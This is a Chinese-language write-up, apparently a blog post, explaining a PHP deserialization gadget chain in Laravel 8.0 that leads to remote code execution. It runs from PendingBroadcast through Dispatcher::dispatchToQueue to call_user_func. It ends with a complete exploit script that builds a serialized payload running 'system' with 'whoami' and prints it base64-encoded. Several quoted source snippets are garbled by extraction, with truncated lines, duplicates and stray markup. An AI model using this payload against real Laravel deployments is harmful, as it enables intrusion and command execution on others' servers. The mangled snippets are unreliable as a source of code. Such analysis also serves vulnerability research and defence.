laravel-8.0-序列化导致rce

1.0前言

其实laravel8.0的序列化和5.4的差不多,入口都一样,思路也一样,只不过就有一点点小细节不一样而已。那我们就直接开始~

1.1poc构造

入口还是 Illuminate\Broadcasting\PendingBroadcast 类的 __destruct()方法

```
public function __destruct()

function _
```

我们就让 \$this->events 等于 Illuminate\Bus\Dispatcher 类,这样程序就会去调用 Illuminate\Bus\Dispatcher\Dispatcher 类的 dispatch() 方法

```
public function dispatch($command)

return $this->queueResolver && $this->commandShouldBeQueued($command)

return $this->queueResolver && $this->commandShouldBeQueued($command)

$this->dispatchNow($command);

}
```

\$this->queueResolver变量我们可以控制,然后去跟踪一下 commandShouldBeQueued() 方法,是一个接口实现的。

然后我们在去看看 dispatchToQueue() 方法和 dispatchNow() 方法那个可以利用。结果发现 dispatchToQueue() 方法可以利用

所以我们就需要让一个类去实现这个接口,让程序进入 dispatchToQueue() 方法。然后发现 Illuminate\Queue\CallQueuedClosure 类可以去实现 ShouldQueue 的接口。

```
CallQueuedClosure.php ×
                       Dispatcher.php
                                         PendingBroadcast.php
vendor > laravel framework > src > Illuminate > Queue > [ CallQueuedClosure.php
       <?php
       namespace Illuminate\Queue;
       use Closure;
       use Exception;
       use Illuminate\Bus\Batchable;
       use Illuminate\Bus\Queueable;
       use Illuminate\Contracts\Container\Container;
       use Illuminate\Contracts\Queue\ShouldQueue;
       use Illuminate\Foundation\Bus\Dispatchable;
       use ReflectionFunction;
       class CallQueuedClosure implements ShouldQueue
  14
           use Batchable, Dispatchable, InteractsWithQueue
```

然后我们就可以进入 Illuminate\Bus\Dispatcher 的 dispatchToQueue 的方法,发现这里的 \$this->queueResolver

```
public function dispatchToQueue($command)

{
    $connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);

if (! $queue instanceof Queue) {
    throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

if (method_exists($command, 'queue')) {
    return $command->queue($queue, $command);
}

return $this->pushCommandToQueue($queue, $command);
}
```

而 \$connection 可以通过实现接口的类方法的 Call QueuedClosure 类添加 \$connection 属性去实现。

1.2exp

```
1  <?php
2  namespace Illuminate\Broadcasting
3  {
4    class PendingBroadcast
5    {</pre>
```

```
6
            protected $events;
 7
            protected $event;
 8
            public function __construct($function, $parameter)
 9
10
11
                $this->events = $function;
12
                $this->event = $parameter;
13
            }
14
        }
15
16
   namespace Illuminate\Bus
17
18
        class Dispatcher
19
        {
            protected $queueResolver;
20
21
22
            public function __construct($function)
23
            {
24
                $this->queueResolver = $function;
25
26
            }
27
        }
28
    }
29
30
    namespace Illuminate\Queue
31
32
        class CallQueuedClosure
33
        {
            protected $connection;
34
35
            public function __construct($parameter)
36
37
            {
38
                $this->connection = $parameter;
39
            }
40
        }
41
    namespace{
42
        $a = new Illuminate\Bus\Dispatcher('system');
43
        $b = new Illuminate\Queue\CallQueuedClosure('whoami');
44
45
        $c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);
46
        echo base64_encode(serialize($c));
47
```

1.3总结

• 这个链子也好理解,中间唯一就是实现接口的地方一点点不好理解